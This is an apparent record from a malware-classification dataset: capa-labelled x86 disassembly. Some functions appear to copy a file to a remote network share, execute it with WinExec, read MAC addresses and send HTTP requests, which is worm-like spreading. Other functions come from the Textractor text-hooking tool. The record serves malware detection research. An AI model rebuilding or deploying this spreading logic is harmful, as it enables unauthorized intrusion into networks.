joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a078
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
and dword [ebp - 0x1dc], 0
mov dword [ebp - 0x194], 1
and dword [ebp - 0x1e0], 0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jne 0x40a0eb
push 0x40
push 0
lea eax, [ebp - 0x1d8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x1dc], eax
push dword [ebp - 0x1dc]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0
jne 0x40a117
and dword [ebp - 0x194], 0
jmp 0x40a290
push 4
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 0x1e4], 0
jmp 0x40a13c
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
cmp dword [eax + ecx*4], 0
je 0x40a290
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax + 1]
mov dword [ebp - 0x1e8], eax
cmp dword [ebp + 0x10], 1
jne 0x40a20d
cmp dword [ebp - 0x1ec], 0xc0
jne 0x40a1aa
cmp dword [ebp - 0x1e8], 0xa8
je 0x40a1e9
cmp dword [ebp - 0x1ec], 0xa9
jne 0x40a1c2
cmp dword [ebp - 0x1e8], 0xfe
je 0x40a1e9
cmp dword [ebp - 0x1ec], 0xac
jne 0x40a1d7
cmp dword [ebp - 0x1e8], 0x10
je 0x40a1e9
cmp dword [ebp - 0x1ec], 0xa
je 0x40a1e9
cmp dword [ebp - 0x1ec], 0x7f
jne 0x40a20d
push 4
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x40a290
cmp dword [ebp + 0x10], 2
jne 0x40a28b
cmp dword [ebp - 0x1ec], 0xc0
je 0x40a28b
cmp dword [ebp - 0x1e8], 0xa8
je 0x40a28b
cmp dword [ebp - 0x1ec], 0xa9
je 0x40a28b
cmp dword [ebp - 0x1e8], 0xfe
je 0x40a28b
cmp dword [ebp - 0x1ec], 0xac
je 0x40a28b
cmp dword [ebp - 0x1e8], 0x10
je 0x40a28b
cmp dword [ebp - 0x1ec], 0xa
je 0x40a28b
cmp dword [ebp - 0x1ec], 0x7f
je 0x40a28b
push 4
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x40a290
jmp 0x40a12f
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x40a2a0
mov eax, dword [ebp + 8]
cmp dword [eax], 0xffffffff
jne 0x40a2a7
and dword [ebp - 0x194], 0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x194]
leave
ret 0xc
Function at 0x40a2b7
Capabilities:
Connect network resource
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d0
and dword [ebp - 0x28], 0
or dword [ebp - 0x2c], 0xffffffff
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x24], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1bc], eax
push 0x40
push 0
lea eax, [ebp - 0x70]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0x40df2c
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
and dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 2
and dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 1
and dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x40def8
and dword [ebp - 4], 0
lea eax, [ebp - 0x70]
mov dword [ebp - 0xc], eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x20]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x40a348
mov eax, dword [ebp - 0x28]
jmp 0x40a48d
push 0x40
push 0
lea eax, [ebp - 0x1b8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00402415
push eax
push 0x40de60
lea eax, [ebp - 0x1b8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x178]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1b8]
push eax
push 0x40df38
push dword [ebp + 8]
push 0x40df3c
lea eax, [ebp - 0x178]
push eax
call dword [ebp - 0x24]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x178]
push eax
call dword [ebp - 0x1bc]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40a47d
and dword [ebp - 0x1c0], 0
push 0
lea eax, [ebp - 0x1c0]
push eax
push dword [0x413d8c]
push dword [0x413d88]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x1c0]
cmp eax, dword [0x413d8c]
jne 0x40a474
lea eax, [ebp - 0x5d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x400
push 0
lea eax, [ebp - 0x5c0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1b8]
push eax
movzx eax, word [ebp - 0x5c6]
add eax, 3
push eax
movzx eax, word [ebp - 0x5c8]
push eax
push dword [ebp + 8]
push 0x40df4c
lea eax, [ebp - 0x5c0]
push eax
call dword [ebp - 0x24]
add esp, 0x18
push 0
lea eax, [ebp - 0x5c0]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 0x28], 1
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 1
lea eax, [ebp - 0x70]
push eax
call sub.MPR.dll_WNetCancelConnection2A
mov eax, dword [ebp - 0x28]
leave
ret 0xc
Function at 0x40b88e
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax + 0x14], 0
mov eax, dword [ebp + 8]
and dword [eax + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0x10325476
pop ebp
ret 4
Function at 0x40bacd
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov dword [ebp - 0xc], 1
and dword [ebp - 8], 0
and dword [ebp - 0x58], 0
and dword [ebp - 0x54], 0
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x288
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x54]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x40bb67
cmp dword [ebp - 0x58], 0x6f
jne 0x40bb59
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x54]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x40bb57
and dword [ebp - 0xc], 0
jmp 0x40bc40
jmp 0x40bb67
and dword [ebp - 0xc], 0
jmp 0x40bc40
push 0x40
push 0
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x199]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x198]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x197]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x196]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x195]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x194]
push eax
push 0x40dfa8
lea eax, [ebp - 0x50]
push eax
call dword [ebp - 4]
add esp, 0x20
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 0x60], 0
and dword [ebp - 0x5c], 0
jmp 0x40bbf0
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0x60], eax
jge 0x40bc40
mov eax, dword [ebp - 0x60]
movsx eax, byte [ebp + eax - 0x4f]
cmp eax, 0x2d
jne 0x40bc2f
cmp dword [ebp - 0x60], 0
je 0x40bc1f
mov eax, dword [ebp - 0x60]
movsx eax, byte [ebp + eax - 0x51]
cmp eax, 0x2d
jne 0x40bc2f
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov byte [eax], 0x30
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
mov cl, byte [ebp + ecx - 0x50]
mov byte [eax], cl
jmp 0x40bbe2
cmp dword [ebp - 0x54], 0
je 0x40bc55
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x6c], eax
push dword [ebp - 0x6c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 0xc]
leave
ret 8
Function at 0x40bc5c
Capabilities:
Create process on windows
Get common file path
Get program files directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
push 0x104
push 0
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x26
lea eax, [ebp - 0x220]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x40dfbc
lea eax, [ebp - 0x220]
push eax
push 0x40d534
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x400
push 0
lea eax, [ebp - 0x620]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
push 0x40dfdc
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x44
push 0
lea eax, [ebp - 0x668]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x668], 0x44
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x668]
push eax
push 0
push 0
push 0x4000000
push 1
push 0
push 0
lea eax, [ebp - 0x620]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 1
jne 0x40bd63
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [ebp - 0x118]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x118]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret 4
Function at 0x40bd67
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13c4
call fcn.0040c760
and dword [ebp - 0x3b4], 0
and dword [ebp - 0x3a0], 0
and dword [ebp - 0x39c], 0
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x204], eax
lea eax, [ebp - 0x398]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp dword [ebp + 0x18], 0
jne 0x40bdb8
mov dword [ebp - 0x3a0], 0x40dfe4
jmp 0x40bdc8
cmp dword [ebp + 0x18], 1
jne 0x40bdc8
mov dword [ebp - 0x3a0], 0x40dff4
push 0x200
push 0
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x410ab8
push dword [ebp - 0x3a0]
push 0x40d534
lea eax, [ebp - 0x200]
push eax
call dword [ebp - 0x204]
add esp, 0x10
push 0x1000
push 0
lea eax, [ebp - 0x13b8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x13b8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x39c], eax
push 2
pop eax
mov word [ebp - 0x3b0], ax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x3ae], ax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0xffffffff
jne 0x40be89
push 2
push dword [ebp + 8]
lea eax, [ebp - 0x3ac]
push eax
call fcn.0040a078
push 0x10
lea eax, [ebp - 0x3b0]
push eax
push dword [ebp - 0x39c]
call dword [0x413d90]
test eax, eax
jne 0x40bf3a
and dword [ebp - 0x13c0], 0
and dword [ebp - 0x13c4], 0
and dword [ebp - 0x13bc], 0
lea eax, [ebp - 0x13b8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x13c4], eax
push 0
push dword [ebp - 0x13c4]
mov eax, dword [ebp - 0x13bc]
lea eax, [ebp + eax - 0x13b8]
push eax
push dword [ebp - 0x39c]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x13c0], eax
mov eax, dword [ebp - 0x13bc]
add eax, dword [ebp - 0x13c0]
mov dword [ebp - 0x13bc], eax
mov eax, dword [ebp - 0x13c4]
sub eax, dword [ebp - 0x13c0]
mov dword [ebp - 0x13c4], eax
jne 0x40bf28
mov dword [ebp - 0x3b4], 1
jmp 0x40bf3a
cmp dword [ebp - 0x13c0], 0
je 0x40bf3a
cmp dword [ebp - 0x13c0], 0xffffffff
jne 0x40bece
push dword [ebp - 0x39c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x3b4]
leave
ret 0x14
Function at 0x10001532
Capabilities:
Parse pe header

Disassembly:
jmp 0x10046e70
mov edx, dword [esp + 4]
mov eax, 0x5a4d
cmp ax, word [edx]
jne 0x10046ec9
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x10046ec9
movzx eax, word [ecx + 0x14]
add eax, 0x18
add eax, ecx
test byte [eax + 0x24], 0x20
jne 0x10046ea9
nop word [eax + eax]
add eax, 0x28
test byte [eax + 0x24], 0x20
je 0x10046ea0
mov ecx, dword [esp + 8]
add edx, dword [eax + 0xc]
mov dword [ecx], edx
mov ecx, dword [eax + 8]
mov eax, dword [esp + 0xc]
and ecx, 0xfffff000
add ecx, 0x1000
add ecx, edx
mov dword [eax], ecx
xor eax, eax
ret
Function at 0x10001b13
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x10046d60
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10ea36ec]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10ea338c]
cmp eax, dword [ecx + 0xeb68]
jg 0x10046da8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, 0x10ea2de8
nop
push edi
push dword [esi]
call ebx
test eax, eax
jne 0x10046da4
add esi, 4
cmp esi, 0x10ea3298
jne 0x10046d90
pop edi
pop esi
pop ebx
ret
push 0x10ea338c
call fcn.10005605
add esp, 4
cmp dword [0x10ea338c], 0xffffffff
jne 0x10046d7c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x100e4448
push 0x4b0
push 0x10ea2de8
push eax
call sub.KERNEL32.dll_K32EnumProcessModules
push 0x10ea338c
mov dword [0x10ea3388], eax
call fcn.10005691
add esp, 4
jmp 0x10046d7c

Function at 0x1000271b
Capabilities:
Parse pe header

Disassembly:
jmp 0x10046e10
mov edx, dword [esp + 4]
mov eax, 0x5a4d
cmp ax, word [edx]
jne 0x10046e4f
mov ecx, dword [edx + 0x3c]
cmp dword [ecx + edx], 0x4550
jne 0x10046e4f
mov eax, dword [ecx + edx + 0xd8]
mov ecx, dword [ecx + edx + 0xdc]
add eax, edx
add ecx, eax
cmp eax, ecx
jae 0x10046e4f
mov edx, dword [esp + 8]
cmp dword [eax], edx
je 0x10046e51
add eax, 4
cmp eax, ecx
jb 0x10046e44
xor eax, eax
ret

Function at 0x1000295f
Capabilities:
Create thread

Disassembly:
jmp 0x10013340
push esi
push 0
push 0
mov esi, ecx
push esi
push 0x10012cf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0
mov dword [esi + 0x1f4], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 0x1f8], eax
mov al, 1
pop esi
ret

Function at 0x1000333c
Capabilities:
Terminate process

Disassembly:
jmp 0x1005dadd
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1005daee
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.10005349
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x1000343b
Capabilities:
Query environment variable

Disassembly:
jmp 0x100a3c60
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x100a3c71
pop esi
ret
push ebx
push edi
push esi
call fcn.100a3b47
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.10003c38
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x100a3c99
push ebx
push esi
push edi
call fcn.10005173
add esp, 0xc
push 0
call fcn.10005b82
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10003904
Capabilities:
Check for software breakpoints

Disassembly:
jmp 0x100490c0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [esp + 0x14]
push 0xcccc
push dword [esp + 0x18]
call fcn.1000488b
add esp, 0x18
test eax, eax
je 0x100490eb
inc eax
cmp byte [eax], 0xcc
je 0x100490e5
ret
Function at 0x10003a08
Capabilities:
Write file on windows

Disassembly:
jmp 0x10011220
sub esp, 0x214
mov eax, dword [0x100e2f80]
xor eax, esp
mov dword [esp + 0x210], eax
push 0x1f4
xorps xmm0, xmm0
mov dword [esp + 0x14], 0
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0xf
push 0
movups xmmword [esp + 8], xmm0
push eax
mov byte [esp + 0xc], 0
mov dword [esp + 0x24], 0
call fcn.10002e5f
push 0x1f3
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x30]
push 0x1f4
push eax
call fcn.10002793
mov ecx, dword [esp + 0x30]
add esp, 0x1c
cmp ecx, 0xf
jbe 0x100112b7
mov edx, dword [esp]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100112ad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001131a
push ecx
push edx
call fcn.10001942
add esp, 8
lea eax, [esp + 0x21c]
push eax
push 0
push dword [esp + 0x220]
lea eax, [esp + 0x28]
push 0x1f4
push eax
call fcn.10005272
mov ecx, dword [eax]
push dword [eax + 4]
or ecx, 2
push ecx
call fcn.100035f8
add esp, 0x1c
lea eax, [esp + 0x18]
push 0
push 0x100e4448
push 0x1f8
push eax
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.10002da1
add esp, 0x214
ret
call fcn.1000437c
int3

Function at 0x100040c5
Capabilities:
Write file on windows

Disassembly:
jmp 0x10011b40
push esi
mov esi, dword [esp + 0x2c]
test esi, esi
js 0x10011b51
cmp esi, 0xc330
jbe 0x10011b67
push dword [esp + 0x14]
push dword [esp + 0x14]
push esi
push str.Textractor:_something_went_very_wrong__invalid_length__d_at_hook_address__I64d_
call fcn.10003a08
add esp, 0x10
mov ecx, dword [esp + 0x28]
lea eax, [esi + 0x20]
movups xmm0, xmmword [esp + 8]
push 0
push 0x100e4448
movups xmmword [ecx], xmm0
push eax
movups xmm0, xmmword [esp + 0x24]
push ecx
movups xmmword [ecx + 0x10], xmm0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
ret
Function at 0x100043f9
Capabilities:
Link many functions at runtime

Disassembly:
jmp 0x10025630
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10ea36ec]
push esi
mov esi, dword [esp + 8]
push edi
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10ea25f8]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, dword [ecx + 0xeb68]
jg 0x10025732
push str.mono_assembly_get_image
push esi
call edi
push str.mono_image_get_name
push esi
mov dword [0x10ea1f28], eax
call edi
push str.mono_class_from_name
push esi
mov dword [0x10ea1f2c], eax
call edi
push str.mono_class_get_property_from_name
push esi
mov dword [0x10ea1f30], eax
call edi
push str.mono_property_get_set_method
push esi
mov dword [0x10ea1f34], eax
call edi
push str.mono_compile_method
push esi
mov dword [0x10ea1f38], eax
call edi
push str.mono_get_root_domain
push esi
mov dword [0x10ea1f3c], eax
call edi
push str.mono_thread_attach
push esi
mov dword [0x10ea1f40], eax
call edi
cmp dword [0x10ea25f4], 0
pop edi
mov dword [0x10ea1f44], eax
pop esi
je 0x1002572f
cmp dword [0x10ea1f28], 0
je 0x1002572f
cmp dword [0x10ea1f2c], 0
je 0x1002572f
cmp dword [0x10ea1f30], 0
je 0x1002572f
cmp dword [0x10ea1f34], 0
je 0x1002572f
cmp dword [0x10ea1f38], 0
je 0x1002572f
cmp dword [0x10ea1f3c], 0
je 0x1002572f
cmp dword [0x10ea1f40], 0
je 0x1002572f
test eax, eax
je 0x1002572f
push str.Mono_X86:_If_the_following_hooks_dont_work__create_the_TextractorConfig.txt_file_via_the__Configure_game__button_to_activate_the_brute_force_mode
call fcn.10003a08
push 0
push 0x10003120
call dword [0x10ea25f4]
add esp, 0xc
mov al, 1
ret
xor al, al
ret
push 0x10ea25f8
call fcn.10005605
add esp, 4
cmp dword [0x10ea25f8], 0xffffffff
jne 0x1002565c
push str.mono_assembly_foreach
push esi
call edi
push 0x10ea25f8
mov dword [0x10ea25f4], eax
call fcn.10005691
add esp, 4
jmp 0x1002565c

Function at 0x10004a93
Capabilities:
Get system information on windows

Disassembly:
jmp 0x1001aff0
sub esp, 0x40
push ebx
push esi
lea eax, [esp + 0x24]
xor bl, bl
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor esi, esi
cmp dword [esp + 0x30], esi
jbe 0x1001b0b8
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0x1c
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
jne 0x1001b02c
add esi, dword [esp + 0x2c]
jmp 0x1001b0ad
mov eax, dword [esp + 0x18]
cmp eax, 0x1f00000
jne 0x1001b0ab
cmp dword [esp + 0x20], 4
jne 0x1001b0ab
cmp dword [esp + 0x24], 0x40000
jne 0x1001b0ab
push str.Textractor:_PPSSPP_memory_found:_searching_for_hooks_should_yield_working_hook_codes
mov bl, 1
call fcn.10003a08
lea eax, [esi - 0x8000000]
mov dword [0x100e2060], 6
mov dword [0x100e2074], eax
add esp, 4
mov eax, dword [esp + 0x18]
mov dword [0x100e2040], 0x360ad83
mov word [0x100e2044], 0
mov dword [0x100e2064], 0
mov dword [0x100e2078], 0
mov dword [0x100e207c], 0xffffffff
mov dword [0x100e229c], 0x10016830
add esi, eax
cmp esi, dword [esp + 0x34]
jb 0x1001b015
pop edi
pop esi
mov al, bl
pop ebx
add esp, 0x40
ret
Function at 0x10004ff2
Capabilities:
Parse pe header

Disassembly:
jmp 0x10047370
sub esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, 0x5a4d
cmp cx, word [eax]
jne 0x100473f4
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x100473f4
mov ecx, dword [ecx + eax + 0x88]
test ecx, ecx
je 0x100473f4
add eax, ecx
lea ecx, [esp + 4]
push ecx
lea ecx, [esp + 4]
mov dword [esp + 4], eax
push ecx
push eax
call fcn.1000496c
add esp, 0xc
test eax, eax
je 0x100473f4
mov edx, dword [esp + 0xc]
mov eax, edx
push esi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100473c3
sub eax, esi
sar eax, 1
add eax, eax
push eax
mov eax, dword [esp + 0xc]
push edx
add eax, 0xfffffffc
push eax
push dword [esp + 0x10]
call fcn.10003bc0
add esp, 0x10
test eax, eax
setne al
pop esi
add esp, 8
ret
xor al, al
add esp, 8
ret

Function at 0x100050f1
Capabilities:
Write file on windows

Disassembly:
jmp 0x10011590
mov eax, dword [esp + 0xc]
sub esp, 0x10
test eax, eax
je 0x100115aa
push eax
push dword [0x100e2b20]
call fcn.10003a08
add esp, 8
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
push 0
push 0x100e4448
mov dword [esp + 0x10], eax
lea eax, [esp + 8]
push 0x10
push eax
push dword [section..data]
mov dword [esp + 0x14], 3
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x10
ret
Function at 0x1000591b
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x10013180
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 0x184]
test al, 0x40
je 0x100131c3
lea ecx, [esi + 0x1c]
test al, al
jns 0x1001329f
lea eax, [esi + 0x10c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001328c
add dword [esi + 0x1e8], eax
adc dword [esi + 0x1ec], 0
push edi
push 0x100e4448
push 0x40
push 0xa
push dword [esi + 0x1e8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 8]
push eax
lea edi, [esi + 0x1fd]
push edi
push dword [esi + 0x1e8]
call fcn.10002f1d
test eax, eax
je 0x10013228
cmp eax, 3
jne 0x100132cf
push 9
push dword [esi + 0x1ec]
push dword [esi + 0x1e8]
call fcn.10002586
add esp, 0xc
lea eax, [esp + 8]
push eax
push edi
push dword [esi + 0x1e8]
call fcn.10002f1d
test eax, eax
jne 0x100131f4
mov eax, dword [0x100e202c]
mov ecx, dword [esp + 8]
mov dword [eax + 0x100e200c], esi
mov eax, dword [0x100e2030]
mov dword [eax + 0x100e200c], 0x10003f44
mov eax, dword [0x100e2034]
mov dword [eax + 0x100e200c], ecx
movups xmm0, xmmword [0x100e200c]
push dword [esi + 0x1e8]
movups xmmword [edi], xmm0
movq xmm0, qword [0x100e201c]
movq qword [edi + 0x10], xmm0
mov eax, dword [0x100e2024]
mov dword [edi + 0x18], eax
mov al, byte [0x100e2028]
mov byte [edi + 0x1c], al
call fcn.10002f63
test eax, eax
pop edi
sete al
pop esi
pop ecx
ret
push dword [0x100e2b48]
call fcn.10003a08
add esp, 4
xor al, al
pop esi
pop ecx
ret
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100132bc
cdq
add dword [esi + 0x1e8], eax
adc dword [esi + 0x1ec], edx
jmp 0x100131c3
push dword [0x100e2b4c]
call fcn.10003a08
add esp, 4
xor al, al
pop esi
pop ecx
ret
push eax
call fcn.10005efc
push eax
call fcn.10003a08
add esp, 4
xor al, al
pop edi
pop esi
pop ecx
ret